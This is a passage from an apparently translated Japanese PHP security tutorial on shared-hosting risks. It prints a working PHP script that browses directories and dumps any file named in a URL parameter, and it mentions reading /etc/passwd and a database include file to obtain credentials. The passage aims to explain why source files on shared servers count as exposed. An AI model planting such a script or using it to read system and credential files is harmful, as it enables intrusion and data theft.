攻撃者は、共有サーバー上の任意のファイルを読み取ることができるほか、ファイル システムを参照できるスクリプトを作成することもできます。機密ファイルのほとんどは Web サイトのホーム ディレクトリには保存されないため、このタイプのスクリプトは通常、ソース ファイルの場所を見つけるために使用されます。以下の例を参照してください:
<pre class="brush:php;toolbar:false"> <?php if (isset($_GET['dir'])) { ls($_GET['dir']); } elseif (isset($_GET['file'])) { cat($_GET['file']); } else { ls('/'); } function cat($file) { echo htmlentities(file_get_contents($file), ENT_QUOTES, 'UTF-8')); } function ls($dir) { $handle = dir($dir); while ($filename = $handle->read()) { $size = filesize("$dir$filename"); if (is_dir("$dir$filename")) { $type = 'dir'; $filename .= '/'; } else { $type = 'file'; } if (is_readable("$dir$filename")) { $line = str_pad($size, 15); $line .= "<a href=\"{$_SERVER['PHP_SELF']}"; $line .= "?$type=$dir$filename\">$filename</a>"; } else { $line = str_pad($size, 15); $line .= $filename; } echo "$line\n"; } $handle->close(); } ?>
攻撃者は、最初に /etc/passwd ファイルまたは /home ディレクトリをチェックして、サーバー上のユーザー名のリストを取得する可能性があります。Web サイトのホーム ディレクトリの外に保存されているソース ファイルの場所は、include や require などの言語構造を通じて検出できます。たとえば、次のスクリプト ファイル /home/victim/public_html/admin.php について考えてみましょう。 攻撃者がファイルのソース コードを表示できた場合、db.inc の場所を発見し、readfile() 関数を使用してその内容を公開し、データベースにアクセスすることができます。したがって、db.inc を Web サイトのホーム ディレクトリの外に保存しても、この環境では保護されません。
この攻撃は、共有サーバー上のすべてのソース ファイルが公開されていると見なされ、すべての機密データを保存するデータベースが選択される理由を示しています。